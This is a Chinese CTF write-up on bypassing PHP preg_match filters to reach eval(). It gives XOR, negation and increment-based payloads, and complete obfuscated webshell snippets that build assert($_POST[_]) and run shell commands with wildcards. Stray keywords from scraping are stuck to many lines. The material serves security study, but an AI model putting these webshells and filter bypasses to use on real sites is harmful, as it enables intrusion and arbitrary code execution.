ctf中 preg_match 繞過技術 | 無字母數字的webshell
例題
<?php error_reporting(0); if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>40){ die("This is too Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."); } @eval($code); } else{ highlight_file(__FILE__); } highlight_file(__FILE); // ?>
解法1
異或繞過php
使用異或繞過:可使用各類特殊字符的異或構造出字母和數字html
str = r"~!@#$%^&*()_+<>?,.;:-[]{}\/" for i in range(0, len(str)): for j in range(0, len(str)): a = ord(str[i])^ord(str[j]) print(str[i] + ' ^ ' + str[j] + ' is ' + chr(a))
成功觸發命令命令執行:linux
payload:web
?code=$_="`{{{"^"?<>/";${$_}[_]();&_=phpinfo
解法2
取反繞過shell
把getFlag取反而後URL編碼:windows
<?php echo urlencode(~"getFlag");
輸出以下:數組
依據這個咱們能夠構造payload:瀏覽器
?code=$_=~%98%9A%8B%B9%93%9E%98;$_();
解法3
其實我的認爲解法3與解法2類似:php7
payload以下:函數
?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag
~ 在 {} 中執行了取反操做,因此 ${~"\xa0\xb8\xba\xab"}
取反至關於 $_GET
,拼接出了 $_GET['+']();
,傳入 +=getFlag() 從而執行了函數
解法4
仍是異或的操做,只是進行了urlencode和加上了中文變量名。
payload以下:
code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();
解法5
其實利用的仍是異或吧,只是把變量名也是異或取得的。
payload以下:
?code=${"!"^"~"}="]%];,<<"^":@)}@][";${"!"^"~"}();
<hr/>
原本結束了,師傅們tql,我繼續記錄一下:有時候有點懶得本身筆述,就直接用了師傅們的筆述了,簡單說明一下。
php中取反(~)的概念
來看一個漢字"和"
>>> print("和".encode('utf8')) b'\xe5\x92\x8c' >>> print("和".encode('utf8')[2]) 140 >>> print(~"和".encode('utf8')[2]) -141
"和"的第三個字節的值爲140[0x8c],取反的值爲-141。 負數用十六進制表示,一般用的是補碼的方式表示。負數的補碼是它自己的值每位求反,最後再加一。141的16進製爲0xff73,php中chr(0xff73)==115,115就是s的ASCII值。 所以
<?php $_="和"; print(~($_{2})); print(~"\x8c"); ?> 兩個寫法性質同樣 結果會輸出: ss
腳本:
>>> def get(shell): ... hexbit=''.join(map(lambda x: hex(~(-(256-ord(x)))),shell)) ... print(hexbit) ... >>> get('phpinfo') 0x8f0x970x8f0x960x910x990x90
不用數字構造出數字
利用了PHP弱類型特性,true的值爲1,故true+true==2。
$_=('>'>'<')+('>'>'<') print($_) print($_/$_) 結果會輸出:2 1
在php中未定義的變量默認值爲null,null==false==0,因此咱們可以在不使用任何數字的狀況下經過對未定義變量的自增操做來獲得一個數字。
<?php $_++; print($_); ?> 結果會輸出:1
非字母、數字的字符異或出字母
不可打印字符,用url編碼表示。
<?php $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert'; $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST'; $___=$$__; $_($___[_]); // assert($_POST[_]);
註明:因爲其中包含%01等通過urlencode的字符,因此須要經過瀏覽器提交才能夠生效。
非字母、數字的字符取反出字母
利用的是UTF-8編碼的某個漢字,將其中的某個字符取出來,取反爲字母。一個漢字的utf8是三個字節,{2}表示第3個字節
<?php header("Content-Type:text/html;charset=utf-8"); $__=('>'>'<')+('>'>'<');//$__=2 $_=$__/$__;//$_=1 $___="瞰"; $____="和"; print(~($___{$_})); echo "<br>"; print(~($____{$__}));
payload:
<?php $__=('>'>'<')+('>'>'<');//$__2 $_=$__/$__;//$_1 $____=''; $___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert $_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$_____=_POST $_=$$_____;//$_=$_POST $____($_[$__]);//assert($_POST[2])
這裏也有一種簡短的寫法${~"\xa0\xb8\xba\xab"}它等於$_GET。這裏至關於直接把utf8編碼的某個字節提取出來統一進行取反。
php遞增/遞減運算符
這種方法很明顯的缺點就是須要大量的字符。
'a'++ => 'b','b'++ => 'c',咱們只要能拿到一個變量,其值爲a,經過自增操做便可得到a-z中全部字符。 數組(Array)的第一個字母就是大寫A,並且第4個字母是小寫a。在PHP中,若是強制鏈接數組和字符串的話,數組將被轉換成字符串,其值爲Array。再取這個字符串的第一個字母,就能夠得到'A'。
由於PHP函數是大小寫不敏感的,最終執行的是ASSERT($POST[]),無需獲取小寫a。
<?php $_=[]; $_=@"$_"; // $_='Array'; $_=$_['!'=='@']; // $_=$_[0]; $___=$_; // A $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; // S $___.=$__; // S $__=$_; $__++;$__++;$__++;$__++; // E $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $___.=$__; $____='_'; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $____.=$__; $_=$$____; $___($_[_]); // ASSERT($_POST[_]);
不用數字和字母寫shell的實例
就是開頭寫的了。請從頭看,第一個案例就是這個。
不用數字,字母和下劃線寫shell的實例
<?php include 'flag.php'; if(isset($_GET['code'])){ $code = $_GET['code']; if(strlen($code)>50){ die("Too Long."); } if(preg_match("/[A-Za-z0-9_]+/",$code)){ die("Not Allowed."); } @eval($code); }else{ highlight_file(__FILE__); } //$hint = "php function getFlag() to get flag"; ?>
下劃線都不給,這就很恐怖了。意味着不能定義變量,並且也構造不出來數字。不過在PHP的靈活性面前,問題不大。 這是一開始學長給的payload,+號必須加引號
"$".("`"^"?").(":"^"}").(">"^"{").("/"^"{")."['+']"&+=getFlag();//$_GET['+']&+=getFlag();
51個字符太長了,因此這裏能夠用簡短的寫法
('$').("`{{{"^"?<>/").(['+'])&+=getFlag();
不過這樣不能成功。 學長給出瞭解釋:eval只能解析一遍代碼,因此若是寫的是a.b這樣的字符串拼接,就只會執行這個拼接,並不會去執行代碼 例如:
eval($_GET['b'])
url裏面 b=phpinfo();
這時候至關於eval('phpinfo();')
eval($_GET['b'])
url裏面b=$_GET[c]&c=phpinfo();
至關於eval('$_GET[c]')
上面的payload是code=$_GET['+']&+=getFlag();
,也就是eval('$_GET['+'])
並不會執行getFlag();
正確的payload爲:
${"`{{{"^"?<>/"}['+']();&+=getFlag
這裏利用了${}
中的代碼是能夠執行的特色,其實也就是可變變量。
<?php $a = 'hello'; $$a = 'world'; echo "$a ${$a}"; ?> 輸出:hello world
${$a}
,括號中的$a
是能夠執行的,變成了hello。 payload中的{}也是這個原理,{}中用的是異或,^
在{}中被執行了,也就是上面講的"`{{{"^"?<>/"
執行了異或操做,至關於_GET
。
最後eva函數拼接出了字符串$_GET['+']()
;,而後傳入+=getFlag,最後執行了函數getFlag();
PHP是弱類型的語言,所以咱們能夠利用這個特色進行許多很是規的操做,也就是利用各類騷姿式來達到同一個目的。不過隨着PHP版本的變化,php的一些特性也會變化,例如php5中assert是一個函數,但php7中,assert再也不是函數,變成了一個語言結構(相似eval),不能再做爲函數名動態執行代碼。所以咱們要多熟悉php不一樣版本的差別。
不用數字字母下劃線和$ getFlag
<?php include 'flag.php'; if(isset($_GET['code'])) { $code=$_GET['code']; if(strlen($code)>35){ die("Long."); } if(preg_match("/[A-Za-z0-9_$]+/",$code)) { die("NO."); } @eval($code); } else { highlight_file(__FILE__); } //$hint="php function getFlag() to get flag"; ?>
看到題的瞬間竊喜,覺得是原題,拿着payload各類試。覺得題壞了,最後纔看到多過濾了一個$,2333。瞬間感受上面的東西都白學了。
payload:code=?><?=`/???/??? ????.???`?>
?>
閉合php文件開頭的<?php
,<?=
能夠輸出
<? ?>是短標籤,<?php ?>是長標籤。在php的配置文件php.ini中有一個short_open_tag的值,開啓之後可使用PHP的短標籤:<? ?>同時,只有開啓這個纔可使用 <?= 以代替 <? echo 。
這個配置默認是開啓的
還利用linux的通配符:/???/???通配/bin/cat ????.???通配flag.php 還有php中`符號能夠執行系統命令
fl4g師傅的思考
windows中將if(preg_match(「/[A-Za-z0-9_$]+/「,$code))過濾修改,去除對大寫字母或小寫的過濾,因爲windows對大小寫不敏感,能夠在windows系統中嘗試執行任意代碼
http://127.0.0.1/test27.php?code=?><?=`whoami`?>
註明:哈哈,上面不少懶得寫,就直接賦值smile師傅的了。
推薦一篇文章: https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html